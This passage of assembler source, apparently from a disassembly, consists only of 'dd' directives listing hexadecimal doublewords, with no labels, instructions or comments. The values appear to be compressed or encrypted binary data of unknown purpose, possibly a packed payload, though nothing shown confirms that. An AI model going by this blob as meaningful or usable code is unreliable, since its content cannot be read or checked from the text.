		dd 2A115A17h, 1C10A3E9h, 81457260h, 5AC778C2h, 42D92050h
		dd 0E00085BDh, 8730A947h, 0E3829DEh, 13DB93B8h,	8A909DE1h
		dd 10B469D8h, 683F2959h, 7481FD09h, 211D0C58h, 0FBEF9EFEh
		dd 62B0705Ah, 5A5DCC05h, 9CE01CBAh, 8D184A87h, 0A8362BBEh
		dd 0C3A70BE0h, 25A951E9h, 0CDA5845Bh, 307940F4h, 40973F37h
		dd 12F3BF57h, 0E33A1E8Dh, 4DB94A84h, 0E94AB3B8h, 0BB9308F8h
		dd 33DD1604h, 9BD276B9h, 64E08753h, 5C1E8602h, 0DA35E97Fh
		dd 0F1932E80h, 174F5CA8h, 0FD899E60h, 404BBCADh, 702DB88Ah
		dd 9ED8FB11h, 61496029h, 0BCAF9179h, 64150222h,	4A7B3FE7h
		dd 0DC25C15Ch, 0E500DC5Ch, 916B4E41h, 25AAE19Bh, 0B78F5BC8h
		dd 99F2F6h, 0A5594367h,	0C010C311h, 4D31F8BEh, 903CCC47h
		dd 0AAC28B27h, 91442Bh,	6CB196F3h, 58F8267Ch, 1F3CAC00h
		dd 7088DAF2h, 4BC9905Bh
		dd 4AC8EB60h, 9BBB05BAh, 84611735h, 0BD8EBDCEh,	4B336ACCh
		dd 7BFF8DABh, 40654720h, 2A930219h, 99529C3h, 5B0FCF74h
		dd 38362168h, 7B2DE8F5h, 0F37F74h, 47BD643Bh, 1772737Ch
		dd 0B0A35D0Eh, 0E427CEE3h, 0ADE85FB8h, 0E6CD3C04h, 1D026F0Ah
		dd 7BE38070h, 71D057C0h, 0E67D9525h, 80849110h,	1D3FB9B6h
		dd 0E05DFA2h, 9563D742h, 30117091h, 7BA05F02h, 9E8D3670h
		dd 0C409B826h, 0F5130111h, 17AB8C5Fh, 0BF554401h, 96202857h
		dd 0CB80333Ch, 9EE28507h, 2FDEA751h, 61901382h,	842A1951h
		dd 925D998Fh, 7605F920h, 0BFE1A59Dh, 76003D2Eh,	94A7A09Ah
		dd 0B1D8013Ah, 0A537E61Eh, 0E2282BFCh, 9C35D01Dh, 0B60819C0h
		dd 130061A4h, 89EDB43Ch, 975B7C8Ah, 0B501EC10h,	29181108h
		dd 0C2E87506h, 9C1E910Bh, 8AC1FA14h, 395BA860h,	0B09494A5h
		dd 0CF810511h, 0E2E19DE9h, 80E0D127h, 0BD37CBE7h, 99615694h
		dd 0A4E32B24h, 0DD4AE3ACh, 456B3B48h, 8E665425h, 5F29095h
		dd 1A69484Ah, 6F21A301h, 2E71D720h, 0E5E64874h,	0F2B6AEA0h
		dd 0C6962B2Ch, 501C8C05h, 2D86CCh, 0BA646298h, 7DA318C6h
		dd 9CAB434Eh, 964A44FDh, 5300C46Eh, 864DB613h, 0F704C001h
		dd 9D332105h, 948A01B5h, 0CADE6AB0h, 934A25BFh,	64694A56h
		dd 0A35400E7h, 57EFB7D9h, 780964D8h, 7340FD04h,	2F91883Bh
		dd 0C2AD3ABBh, 80FADB93h, 0D3D977CBh, 0EC911782h, 8614052Eh
		dd 0ECDCADC4h, 63FD01F9h, 41BD897Bh, 3F752E23h,	356B4701h
		dd 9D205C69h, 99084BADh, 926A2F23h, 47B5097Fh, 6364E0A4h
		dd 79CD3803h, 0D177FB8Ch, 122E9F82h, 0E63CA029h, 288D844Bh
		dd 3AB97D6Dh, 0F02F79B1h, 568A6D99h, 0EAF56437h, 94BCD8FDh
		dd 0ADF5D704h, 9EF3628h, 2889514Ch, 0EF0C9855h,	984B4E99h
		dd 2B9E854h, 0BB8B4C00h, 6A7B1Fh, 0EF922FB2h, 967240B8h
		dd 0B583248h, 0C65FD654h, 0BDBB045Bh, 90245DCBh, 50ACFAB3h
		dd 3C800F28h, 271BBB02h, 0FD9646D7h, 0CC124137h, 33998C04h
		dd 0BFD23EB9h, 0AA09CF34h, 4B1C71E1h, 5F72365Bh, 8141817Eh
		dd 6E8ACD7h, 3E14976Fh,	75A7154Ah, 0DCC0AE4Ah, 0BA50BDDCh
		dd 9D0B0A8Eh, 0C1612C75h, 2B17DF80h, 9B9E974h, 0BB05ADA8h
		dd 31609C8Ah, 34B63024h, 1C5A47E0h, 9E843900h, 0BCC680BFh
		dd 97A9619h, 0FC59FD36h, 0FF97BCA0h, 0F0515809h, 5777424Bh
		dd 0A6811D37h, 662A8C72h, 0E0E362Eh, 0DBC4DA4Ah, 0FDE148F6h
		dd 28796055h, 0A0D99695h, 0E206464h, 0FFF3FDE9h, 0B8C5A933h
		dd 0E9C800E8h, 188692A4h, 8D480F63h, 0AABF808Bh, 93AC776h
		dd 2BD1B531h, 560C9ADDh, 560AD47Dh, 1B890FA6h, 0E46F0927h
		dd 267DF6h, 0B93A57B1h,	0D87023ABh, 38E2670Bh, 89FF530Bh
		dd 35DDB137h, 811691F3h, 9059783Fh, 0C182143Ah,	0F737E40h
		dd 153067C6h, 1C795269h, 33CC5800h, 7CA65h, 0CF4C7EAAh
		dd 0F53F20Eh, 6CFC314Bh, 347FAB80h, 0B6044757h,	38D2D1A9h
		dd 70701BF1h, 0B9A5E109h, 0DEF1FEh, 21538D7Dh, 0BD0B753Fh
		dd 290FFD28h, 0D5D48D81h, 7E6F3A2Dh, 123E3F24h,	2A87E10Ah
		dd 858225DBh, 28DE6B8Dh, 2A50DB3Ah, 477D12DFh, 0DFF811F0h
		dd 0C185455Ch, 0BB600025h, 7791A781h, 8D3B2EC4h, 53CB21B8h
		dd 1B751982h, 26B85B04h, 0F2D1FFC4h, 43397BCBh,	0B0037F88h
		dd 66EA4E5Eh, 1AD3F895h, 95C7E439h, 8B4FE894h, 10C15D9Eh
		dd 2F192A01h, 24209520h, 0D9BE0068h, 0E18E3E84h, 74B0DC27h
		dd 0C06CD000h, 26A5B54h, 12534BF5h, 0B364C181h,	148235Fh
		dd 0D9A8E426h, 0D42B5E7Eh, 4402871Ch, 0D6D1ADBCh, 0B3009A6Bh
		dd 3C326768h, 0FB4A06A5h, 16521C8h, 1B12E08Ah, 0F576053Ah
		dd 3E8E2B28h, 2738DE24h, 0C2E005EDh, 12EAD3E1h,	0B6F381C9h
		dd 0DEA3E04Eh, 0DD2A056Dh, 0A9D3FD29h, 39B58296h, 32EE5725h
		dd 21B448A9h, 0F342BCDh, 0AE8E38A8h, 5546FEE0h,	12037AC9h
		dd 7C27C1DDh, 0BD03E053h, 0B2D29595h, 68609027h, 90CE8BD8h
		dd 636161F8h, 3F90FED0h, 7600536Eh, 58139D9Fh, 1297A201h
		dd 12BD773Bh, 2DEBFC04h, 99251B9h, 4E73F8C7h, 0A6181559h
		dd 8683515Ah, 0FF473132h, 72244110h, 7DE44F2Dh,	1A3397FCh
		dd 818852FCh, 8EC30067h, 0E4C5E68Ch, 99005F41h,	13D5A992h
		dd 177E9C50h, 2644A4Eh,	0DAD8D62h, 0E0B0C6A5h, 0A40D576h
		dd 987048E6h, 81AFB713h, 2E91F21Fh, 2C890244h, 8B56C262h
		dd 0B1121864h, 0F12308h, 0B85F5A70h, 1232FAD0h,	0E2585B51h
		dd 9D230411h, 7C262681h, 0C0CC1025h, 97EEB30Fh,	9342010Bh
		dd 8D040256h, 0F201F41h, 0E94ED9B7h, 0AA01148Ah, 0EC51BDF6h
		dd 2BAFD8EEh, 71D67B00h, 5372D7CBh, 7574273Ch, 0A97556C2h
		dd 9F0E5809h, 0BD3833CCh, 3B0F516Dh, 4BF1BCA0h,	0D108C10h
		dd 0D31508Ah, 33E98F12h, 0F8A29215h, 0AC5734AFh, 9E218806h
		dd 10A594F5h, 2884FE28h, 82CEAD55h, 40955E4Eh, 4A45EE21h
		dd 0F6D8A94Ah, 98F15A56h, 0DDF20E91h, 0A853FE03h, 0C3C2A27Eh
		dd 59D1A8C9h, 7046F4EBh, 9DB79D6Ah, 5E119209h, 50341007h
		dd 0A94B61E0h, 27012E8Ch, 7D033D9Dh, 0FBACCAB9h, 0B700877Ah
		dd 8F15EFA5h, 72505498h, 2762658Eh, 5CD98B7Dh, 9DDE2706h
		dd 8242BB60h, 571A2521h, 0FC5FF2C0h, 1DC359Ch, 0B33D8287h
		dd 1008E93Ah, 12B0ECh, 4C0B3ECBh, 0C02BFCCAh, 0B79C5290h
		dd 0DBD225BCh, 0F0A670F4h, 12059748h, 0E3B687B3h, 80329AD2h
		dd 9D8D0171h, 0BEB0950Eh, 0A591820Fh, 0B6C42Fh,	27FFBD8Ch
		dd 863CE51Ah, 0CF711200h, 29112B5Dh, 1807759h, 6ABF5FEAh
		dd 2B13E730h, 1823BF6Bh, 7BC7043Fh, 1DAC0F72h, 0C26E0925h
		dd 9D256079h, 8125AF25h, 614B79F6h, 5EC92F2Bh, 7E00596Ah
		dd 613A6F5Bh, 844B0EC9h, 0AB76E9A1h, 0DB3696E0h, 8525B9B0h
		dd 17B06705h, 0B089F743h, 14088330h, 0A3CCB770h, 34985522h
		dd 549F4AB7h, 0AA094BD6h, 0BBCCD51h, 22E1FFD8h,	5682F704h
		dd 0E31051B1h, 0D19D3D09h, 0C7AB5915h, 8D8A8818h, 27BEDFD1h
		dd 0D5D8A98Ch, 8004FBF1h, 0BAACADF7h, 3904C0A1h, 0C17380CEh
		dd 27D5C41Dh, 0BDD36040h, 169C2170h, 0F5D7A199h, 29B8209Ch
		dd 5EBF9295h, 331EDC8Fh, 7C80A9EAh, 0F5A5C5E1h,	0DD8A0CF3h
		dd 31622957h, 122B5F81h, 12C06FEBh, 0F7B807B0h,	59DD56C9h
		dd 15B0160h, 2A092185h,	0F7C0DECCh, 805B9E6Bh, 0A3E56BD2h
		dd 0C4622C38h, 9DC20775h, 0E4D9E98Dh, 31FDE700h, 25486ED8h
		dd 0B9465BECh, 0F2B36050h, 0DDD0EDE9h, 5B02A561h, 0AC7BA712h
		dd 53A150h, 34821C95h, 0BBB46248h, 0A288904Ah, 552D001Ah
		dd 0A7F371EEh, 22013B3Fh, 0D054C64Eh, 1BE44746h, 19825451h
		dd 0F4B900FDh, 897A56E3h, 6D1CDA19h, 95DE8B6Eh,	1BC91481h
		dd 626F104Bh, 3D755F3Ch, 0DF720567h, 612D8C50h,	0E897C000h
		dd 0CF76CA2Ah, 0DB6A5E5Bh, 0D62C0E7h, 320F1A61h, 0F91B0181h
		dd 0DF002979h, 7D7271BFh, 69F2395Ch, 80163E82h,	0C4E3EF8Bh
		dd 3FF270Eh, 0C6F2161Fh, 0C151F800h, 0BE774AD3h, 0C6966E12h
		dd 860CEC9h, 0C01E785Ch, 0ADB56095h, 0BA0F05B8h, 0BC61640Eh
		dd 44DF3032h, 8D584A75h, 7BDB6F65h, 76826489h, 0E45C0A7Dh
		dd 758A0FE2h, 0A5E0DED4h, 7AC66232h, 639170h, 0C913DCFAh
		dd 217C4C18h, 3D01BA27h, 0A3640277h, 19DE2369h,	799D8509h
		dd 8F562D20h, 0FBDE73DEh, 499DA520h, 0FC12F36Dh, 4520F361h
		dd 0FA242BC6h, 0E0BCAFADh
		dd 76E66F4Ah, 99331DB2h, 0E5C0995Dh, 96D405AAh,	0C156D51Ch
		dd 5346944h, 11D36410h,	884A118Fh, 39242E90h, 0E2003A56h
		dd 0E7802C53h, 0A6309BD0h, 210D0CA6h, 45D460Dh,	963BC3Eh
		dd 0EE13EBBAh, 0E4797280h, 0BB052CD2h, 362FB2ACh, 0F0FB30C2h
		dd 769A9507h, 0C2449568h, 10C49B91h, 0CD41E34Fh, 0E82624E6h
		dd 920E444Eh, 0C1CE8D66h, 800F659Ah, 1458526Ah,	0BB02A692h
		dd 13C28C2h, 8994A744h,	0A2E3CA3Bh, 0D2B64E00h,	0C7F73D7h
		dd 0EDA2D9FCh, 58F91822h, 0A9444D5Ch, 2CA9B8EEh, 5B12F6FAh
		dd 2C5079E3h, 502940CDh, 0AFCC1097h, 577D0A4Fh,	0B1FF16h
		dd 900E1D33h, 680BDCE9h, 63749C26h, 8EBC4807h, 64C685D3h
		dd 8059B8EFh, 2EAA1799h, 0AEFD0032h, 25AF0472h,	87128C65h
		dd 0EAC861BAh, 0CBD700FAh, 3DB1494Dh, 3005520h,	0CD8277EEh
		dd 1273924Bh, 0E3260AC8h, 1F9AD778h, 0C8E32680h, 9A02A01Ah
		dd 0D4285EBBh, 7190D76Fh, 7603B825h, 409F43EDh,	353EA813h
		dd 5BD85404h, 0BF1D00EAh, 3941B6AFh, 0FE38B4F7h, 0E80600E4h
		dd 62301E73h, 5F13254Ch, 441C11C5h, 7B9EB020h, 54A283E9h
		dd 60406F5Fh, 0C003E7C8h, 21A6D904h, 0EACCF214h, 13CF0007h
		dd 9647F772h, 0D012AFDh, 0BD7595BBh, 3A2E5B1Ah,	299DF0CCh
		dd 0D2E28214h, 4EDC347Ch, 0F6CCEFA2h, 971D779Dh, 0CD45F71Ch
		dd 13F18F26h, 0C4CFC9FAh, 121A65CBh, 0E7CD9AEh,	1289CB48h
		dd 407554D8h, 81FB16BBh, 924A2D39h, 212DE5EEh, 5B8B76FFh
		dd 0F984888Eh, 0BD573097h, 0CB1F4B39h, 8CF65A10h, 53293BA0h
		dd 5C475D02h, 5C2DAF3Ch, 8509616Ah, 0B89D5459h,	574AD30Dh
		dd 7C27A650h, 0D5D8642Ch, 496EBFB5h, 0E1B07100h, 0AE021431h
		dd 0A99A494Ah, 0E6C01BC8h, 0B8DE6774h, 0EFF4262Dh, 25F51C95h
		dd 189DF5CEh, 0A63BBB1h, 0F83D8825h, 5AD8C986h,	0F5AA1909h
		dd 0A5EB7161h, 0A796C766h, 0F6B95469h, 3DA07301h, 0B51C7619h
		dd 4B84D070h, 0F98E8462h, 285B8A5h, 5DAFACB9h, 0AB5CD3CBh
		dd 0A53F8B68h, 0B58CCE0Dh, 0FD0DC637h, 96663A49h, 0D2C2E6F2h
		dd 9C49556h, 50C79340h,	67099A40h, 703F7A94h, 0A6CA17AFh
		dd 0A8EBB25Fh, 6C3F0C42h, 0F3580F12h, 50495D13h, 5C3A03A2h
		dd 4B38A280h, 319271DFh, 0D5B56712h, 9D297A41h,	722E2DB9h
		dd 0DF815736h, 2E5B5FC9h, 0DCEA9134h, 0DD25DB1Fh, 1A75C5EAh
		dd 0B77F2253h, 5B18091h, 833C903Bh, 0B5AB409h, 0C6F84048h
		dd 0F4BBD144h, 0FFECDBCh, 20FFB724h, 8CC67D13h,	0DA97BBFBh
		dd 23B501F5h, 73330DBDh, 89D4D04Ah, 889E45B5h, 46DC1024h
		dd 6CAB001Ch, 6A7EA0DEh, 1D513E7h, 6DA91A09h, 9DC1B856h
		dd 380F2339h, 64B75E9Bh, 3D63BFA0h, 0E5A46A04h,	70F1F1C6h
		dd 0C8CC9A2Ah, 18FEC01Ch, 0C206EB6Bh, 0B1B96020h, 1EB2C85Bh
		dd 838BA4BCh, 40C2DE49h, 21D9953Eh, 28E5C524h, 3991B900h
		dd 241D5A7h, 0EED12D5Eh, 0BD5DC65Bh, 1FEC06FEh,	0D94A90A2h
		dd 4989E0B3h, 37B70378h, 9AE009Dh, 0CC2AD2FBh, 0ABFEE517h
		dd 2D69CB04h, 0A6D6F9B8h, 6B9CA005h, 19F4177Fh,	2B8EA11Fh
		dd 1023AA98h, 4A26359Dh, 6F29E7DDh, 960B7CA8h, 52AD6054h
		dd 0BBCEB826h, 4E657090h, 53EE070Bh, 1B326198h,	95434E47h
		dd 8128D01h, 2C0D36FEh,	6A316528h, 2D7AA912h, 459D5BE4h
		dd 6EA56F04h, 1215B5E5h, 197AD9Bh, 0AB51BB50h, 0C7A46795h
		dd 4E1C8B7Bh, 8A561812h, 0D080D3A5h, 5D005A3Eh,	3330B548h
		dd 0BEFD9D01h, 0AA6625CAh, 8A525607h, 0FF125BDCh, 7004D3D1h
		dd 0C4C38C3Dh, 1755FDD3h, 900819ECh, 0F124CF71h, 25AF6D95h
		dd 5DC3096Dh, 0B04EF033h, 2C822EE4h, 202D1DD1h,	2AA2D483h
		dd 0F9026A01h, 0E140566Bh, 2DDAD9FDh, 4D9479F3h, 889FFB40h
		dd 256E041Fh, 0ADF7EBFEh, 2BFBCECh, 3DFF93BCh, 0B9419B6Eh
		dd 36B77565h, 3014E2CFh, 3C25E9CCh, 88D5C50Ch, 4257AB3h
		dd 33020726h, 905CE9BDh, 49846625h, 0DF21A6FCh,	557519FAh
		dd 3C7E0760h, 88DADD8Bh, 0F000BAABh, 603E9EDBh,	252FA5F7h
		dd 71CCABCFh, 0CC0EB725h, 1458B755h, 8096120h, 306D9D2Bh
		dd 0EE606CA5h, 0DD7519BBh, 7FB50C43h, 0BF666A90h, 980B4B95h
		dd 60891B3Fh, 9B135151h, 2772BD8h, 65C2CEB9h, 0E540B8A3h
		dd 75C92F7Dh, 5B3050B0h, 1754E712h, 49041623h, 0A8FA1CDFh
		dd 0E65B8268h, 0F1824070h, 71E48003h, 2D250978h, 4445C61Ah
		dd 424BB7D1h, 0BD894180h, 0B6114AC5h, 0C3810B49h, 1897F71h
		dd 0B844D80Bh, 0AB9F5401h, 5FB91699h, 25415CF6h, 62A55951h
		dd 0BDCE7745h, 61B0C152h, 56D8D74h, 20D18B01h, 4E12DFD9h
		dd 69CDE957h, 9150812Ah, 0DFB71107h, 0BF3D022Eh, 10E9A64Ah
		dd 2E0DC59Dh, 31603C20h, 289930B5h, 61E18A14h, 51402E97h
		dd 0DE07533Eh, 848E95Fh, 30EE9F20h, 0A572739Dh,	0C2003059h
		dd 34EA8415h, 379F0990h, 0C9E58A94h, 545A6425h,	0F8DA651Bh
		dd 0FE2AA1A5h, 1BEBF285h, 71FE1079h, 54CCF825h,	2CFAC516h
		dd 0C2C2F0DBh, 0BDDF3FB7h, 34F5053Eh, 9468455h,	5A71FC4Ah
		dd 2104BF96h, 75D0618Fh, 9F082DB9h, 502D7DBDh, 0A8700F72h
		dd 1202F381h, 0AC603B95h, 64B50AA9h, 0FB6ECC7Ah, 4337BF08h
		dd 11142219h, 6F93D3A9h, 0EEC7172Bh, 75B7988h, 0A8F78D59h
		dd 0CEA608BAh, 551D3ECAh, 0BD030BE0h, 70562461h, 0DF7C89DAh
		dd 0B7B56FD0h, 5FA5021Dh, 455C821Dh, 457A024Bh,	0E922DC10h
		dd 1555A340h, 89061A97h, 5AFB51AAh, 9E51B154h, 0C786EA15h
		dd 0FD67D04Eh, 96BC6128h, 0C025F65Ch, 0A5775369h, 15407DCDh
		dd 0CABBA23h, 6F6351EAh, 1B4035AAh, 6EE14BFFh, 0A0141CE3h
		dd 0EC19A380h, 16CC1FF6h, 0BB8D0948h, 7DE8AE53h, 0A5BDA280h
		dd 0B00257Dh, 0D6D8094Dh, 753CDF60h, 8A184B40h,	8DCB340Ch
		dd 98B89FA9h, 0DD4CD400h, 49DB912Bh, 8A4A4BE7h,	3B4112Bh
		dd 0E0B9951Eh, 5253176h, 0C6DC511Bh, 0D3B79665h, 683C7859h
		dd 9AB68601h, 2407F47Dh, 0FDF1F06Fh, 39300941h,	600E4021h
		dd 0C724E2BAh, 9098F83h, 0C4E9540Ah, 5AFC49FAh,	643645CEh
		dd 2D5FD5F4h, 1CC857DAh, 0EB1A15C0h, 8C280BB3h,	95CCEF8h
		dd 51182D39h, 425B69CFh, 0B0844B50h, 2A1345EAh,	0F7E82A25h
		dd 819424E0h, 91535028h, 0EE4BF04h, 24EAB6B3h, 0EE58C486h
		dd 7394AE5Ah, 848270BBh, 8758E912h, 0BD3D60BEh,	0B8233F1h
		dd 80BED4CBh, 0AF93F668h, 885E0F7Bh, 458F78A2h,	8779D6E1h
		dd 40C02A41h, 62B09009h, 19D9527Bh, 55EBC2FCh, 9B00BA37h
		dd 25CD8C6Bh, 5C9A95DBh, 10834C9h, 0EE3B7CE9h, 3600B37Ah
		dd 0E23D2B99h, 8B95B8B7h, 0D937DB44h, 0D2E1FE05h, 1DC4207Fh
		dd 21E6144Eh, 0FA2D3100h, 26968E6Dh, 0AD41E205h, 65AA917Ch
		dd 8F25C8F9h, 8DAB5300h, 5CD9A641h, 9521EA0Eh, 2BFC6299h
		dd 5B764636h, 0ED34528Dh, 42BCD8h, 0F1DDC296h, 8B6EFD72h
		dd 0B8BFDE49h, 0F098C17h, 183B728Fh, 1D61C48Bh,	40B6E833h
		dd 0EEE48CF4h, 0CF091892h, 0D34689FAh, 430B7806h, 1508E830h
		dd 0BADCD3h, 295E258Eh,	5F5652B8h, 3E2502D4h, 536F4179h
		dd 0BEF2BE68h, 0B39AB312h, 0E0562D69h, 9685F3Fh, 0EC327F91h
		dd 6E0EB954h, 5413CB84h, 25C5C8A3h, 0BF901C80h,	2BECC369h
		dd 51485077h, 7FCD09F8h, 11035B5Fh, 623B0014h, 0E2A47975h
		dd 97DB0047h, 0C182235Dh, 0FCFDB61Eh, 1B2D2296h, 1E5D3761h
		dd 0B2C500A6h, 0B87043F0h
		dd 51601B0Eh, 615FE4B5h, 0B6F519ACh, 0CF47A08Ah, 0AAEB0953h
		dd 8940CCBAh, 8B3BCD09h, 0BEBB8BD9h, 1AD3E520h,	425C4517h
		dd 48470940h, 0A6D21F3Fh, 312113D4h, 2A163963h,	2EE9938Eh
		dd 0ADC417C0h, 0DBF84F4Fh, 0BE628387h, 0C4DBF113h, 95412060h
		dd 4EAC114h, 156F7AE1h,	2B1E5C01h, 2B124098h, 0EC2921CCh
		dd 80B8A8D1h, 0DF6D52C7h, 9E17FED3h, 9FF0F8B6h,	0B002B461h
		dd 7B45196Ah, 3F35D578h, 0E50CDA6h, 0FEEF2580h,	52B0E846h
		dd 53312D2Dh, 0BEF3AA1Eh, 43BBC0C7h, 5C909669h,	1D11CBBEh
		dd 0D125603Dh, 0CF700AE4h, 54957B00h, 288ABDB9h, 6A1C00FDh
		dd 3A10F24Dh, 1E12A6ACh, 0C1A96158h, 39001FBCh,	3DE5A535h
		dd 4B16544Ch, 3E8CB14Eh, 19C8C1DAh, 6C39F4C1h, 0B57B08F4h
		dd 9AAF7379h, 0F085F7E6h, 0DB9C382Ch, 90DC1E95h, 3D732D79h
		dd 0CDB7874Eh, 1F0840E7h, 0BF98DBEEh, 2837D306h, 2596307Bh
		dd 0C6419E1h, 0E9F88A8Ah, 16DCA2B6h, 488A170h, 4432F1ABh
		dd 3BF14585h, 0AD9C747Fh, 9BDA8A9h, 29D59D89h, 19790D5Bh
		dd 0EC02FC18h, 70223DEBh, 8E13DD89h, 0FF84E24h,	0B1646DCh
		dd 98561425h, 0A14C68h,	2F5AACCh, 0F787BF85h, 0FD664213h
		dd 1BACE0FDh, 861D008Ch, 0FDC04751h, 0F1B7A6A4h, 0B198090h
		dd 0BBCEDD81h, 55387E09h, 5D45451h, 8C506A9Eh, 7C01021Ch
		dd 0CA881FCh, 0F3996AEh, 0A20F93B8h, 0E39B2E05h, 0D8E7A109h
		dd 40E9BD01h, 8D38892Dh, 9A9D4A5Dh, 0D141D47h, 0E8DE75AAh
		dd 0AD2380F5h, 542036h,	3CE2439Ah, 9D2B04F5h, 9309694Bh
		dd 4459595Fh, 89B74145h, 213A96F8h, 0E5523FC1h,	0F7092024h
		dd 13BA3B02h, 60E1B68Fh, 27376962h, 0EEE4505Fh,	0E3F01200h
		dd 0A8978032h, 1D5500B2h, 0B415F270h, 8F009044h, 5F82C2EDh
		dd 4FB06096h, 0BB9D24E2h, 0B561A2C8h, 0EE5011E5h, 0C16E2983h
		dd 0E05D80DEh, 9376E6EFh, 52CD194Ah, 3259202Bh,	4002C94Bh
		dd 98BA1E9Dh, 52A94299h, 7A5B4943h, 48C18B8h, 0DD689975h
		dd 0C6FDEEEFh, 0A8A7E993h, 89C000D3h, 0CE1A36C7h, 344A65DDh
		dd 3D3876CAh, 60EDDD59h, 49024CA9h, 0D380D4F2h,	69745659h
		dd 4038CFDCh, 0FEB09FC6h, 0F3127EDBh, 18B2F2AAh, 88ACBFC0h
		dd 0E90E1D6Bh, 37FFF469h, 48E61EA6h, 9C688216h,	0CE4DB400h
		dd 25C18B4Eh, 0E94ED98Ah, 576024ADh, 985908E2h,	0F792080h
		dd 0B7D5C0B5h, 531F046h, 807BB3BFh, 0BF89EB3Bh,	4826E2Ah
		dd 7E66C5D8h, 3441C9AFh, 0AC9E6A3Ah, 2DC000DEh,	775196D3h
		dd 25EEEA8Fh, 9227B4B8h, 76666Ah, 0FEDB1059h, 0CF0EC2C1h
		dd 3F9D40EFh, 57B42D89h, 0B5C75E61h, 571BC4h, 4A4F6674h
		dd 0FA0C142Bh, 62973625h, 1D0B8229h, 51900008h,	270BE9BFh
		dd 7F5F5C3Ch, 0E758D898h, 4D789301h, 0B590EA08h, 3BF462D0h
		dd 6EDEAF52h, 38B1F41h,	84FB59A7h, 8D0D8509h, 9BE94702h
		dd 15FE652Bh, 6232E6F4h, 63DEA42h, 2AE20B05h, 7F8C9D4Ah
		dd 0DD00476Ah, 0F6348099h, 519977D7h, 0F2C46480h, 1710B401h
		dd 76D652Ch, 455FFB94h,	4A05F288h, 0DAFC9E89h, 37470934h
		dd 0BC7BD1FFh, 1C86D970h, 46F1DAD5h, 769313DEh,	25D4049Dh
		dd 0E3AFACEFh, 0DEBF8492h, 8CEA84D0h, 0B66A84AAh, 0AC5E04Ah
		dd 88709F31h, 4FF78A12h, 0BC2D6430h, 0D17D0F79h, 58C03D5Eh
		dd 0C604EB55h, 86453202h, 4901BD23h, 872B901Ah,	0FC8A42CDh
		dd 555B76h, 0D42942A0h,	9D2C8B6Fh, 0E989E801h, 706B5608h
		dd 0B5848949h, 0FB40B2EDh, 4B25330Ch, 0E048F6F8h, 38098694h
		dd 0DD4AD98Dh, 0B8B96DCDh, 0F8DC0199h, 49461A3Eh, 0A8AF5524h
		dd 0E1C087E2h, 9D71B010h, 0BD5F0305h, 0C9FA0140h, 6BF7D4C9h
		dd 0D2A67852h, 4798512Dh, 809EF81h, 552F8A4Ah, 0DC6DAA3Ah
		dd 0C8944DE0h, 0B7F24A15h, 1D6A5B50h, 3A6A65Ah,	0FF6ACD06h
		dd 0FA61E203h, 0EDB54B3Dh, 8D0F1617h, 97FA2288h, 111C1931h
		dd 302B8A0Fh, 0CB80D984h, 98B00927h, 1F8EDE7Ch,	922FA141h
		dd 0BD01E085h, 1F083921h, 0F3984481h, 2AEA32EBh, 20742DF7h
		dd 3FB3C860h, 0A22AEFBAh, 95298106h, 0B0071389h, 5C24B0F7h
		dd 4CCD6058h, 5443C03Ch, 9F94E3Fh, 369C378h, 0F84B0E70h
		dd 0FEBF0991h, 9E67236Eh, 0B4545AC8h, 0CC006571h, 6D2F33AEh
		dd 2FEC99B1h, 440C82Bh,	8B00B607h, 4B4DBBD1h, 1601592Fh
		dd 0B91B1985h, 0BDC99E33h, 0C1215575h, 89315585h, 70D8B7DFh
		dd 1D5FBE1Ch, 1C346335h, 5BD8902h, 58995512h, 8FB61514h
		dd 2F999D0Ch, 4A8A427Fh, 75EC7FDDh, 0BBFAB701h,	174500Ah
		dd 280D222Eh, 0CADC298h, 81A5FA83h, 800FFE1Dh, 1E50CC2Eh
		dd 9589B214h, 99C6626Ah, 8A455508h, 8704D809h, 76F0BF31h
		dd 5F0F18C2h, 0CAA6E88Bh, 0E1251885h, 0A0050412h, 8B2F5117h
		dd 0C9245CFEh, 0D920A858h, 0D2810019h, 709F3F25h, 2D49B961h
		dd 0F3B31800h, 2D31FCE2h, 40E3D95h, 8036DBF3h, 559E36Dh
		dd 7F41BFD3h, 0F0702B4Dh, 279BB756h, 0BF5CBA5Bh, 9E3D07FCh
		dd 1AFD7BE8h, 0E9C91B88h, 1E9D7612h, 60C6E8B6h,	23E228F5h
		dd 42886181h, 7D42125Dh, 1DB3552Fh, 10352217h, 0DAB439A8h
		dd 0ED50C0E6h, 9BB776Dh, 899E6C6Bh, 0F9EF759h, 3394525h
		dd 0DB5BCA41h, 6BE1EA90h, 0B5090272h, 56D5DAF1h, 5E9B5E09h
		dd 0DC5658h, 0DF8B756Fh, 65BD0360h, 2B95075Ah, 614F44ABh
		dd 9F09BE56h, 4442715Bh, 66E84A96h, 7834F200h, 0F750F4h
		dd 0BC46E715h, 0E06F61A8h, 0E840469Eh, 31165h, 0AA18874Ah
		dd 7B8B8C29h, 0CD5B7625h, 601A445Dh, 940C57Ah, 31051B9h
		dd 0BD096C5Eh, 51382B8h, 0E4967F0Ah, 44446D95h,	85FF81B5h
		dd 9607B26h, 2241F1h, 1F9F280Ch, 3CBD633Fh, 0DB763E02h
		dd 5CE1FFD4h, 492503Ah,	0EEA67FE1h, 315CCEF2h, 55048A53h
		dd 6600973Dh, 1F22F2B7h, 0F8E1B758h, 4A282EF8h,	98044A1Ch
		dd 0AB008081h, 7E0C58D8h, 26B8403Eh, 89F1ACCBh,	4E561211h
		dd 281846D4h, 80980178h, 4B0CF120h, 324887FCh, 4A5CBCCFh
		dd 7BAF2397h, 9F09000Fh, 3DFB2236h, 36A2532h, 3597AA4Eh
		dd 76D707A9h, 51E1E060h, 794A67FBh, 444821B6h, 50D5C532h
		dd 0BD33C3E8h, 0D748F14Ch, 1053AC8h, 68672E19h,	2E4FC60Bh
		dd 0CA5E1ACFh, 395F4CE8h, 392D4CEDh, 0DAAD6BD8h, 0D008D2CAh
		dd 21B660A4h, 22B86602h, 575861C5h, 0B8093304h,	0EFFDB51Bh
		dd 0AE128AA8h, 19E35801h, 0FD9D0B04h, 2314510h,	4817AEEh
		dd 64B51432h, 9DF298AEh, 3327D12Dh, 0C436B84Dh,	3E7D0A74h
		dd 0B861A45h, 0EFF8899Dh, 1FA85F4Ah, 80DC12AAh,	563D1CE3h
		dd 1D9D0189h, 5B71EB70h, 77161A97h, 83165337h, 4B4B23B0h
		dd 0F8368C09h, 0F8E6894Bh, 285423F1h, 0BF854A64h, 0F7768529h
		dd 411DECA0h, 0B725567Bh, 731FC2D2h, 4EDB7048h,	85011D09h
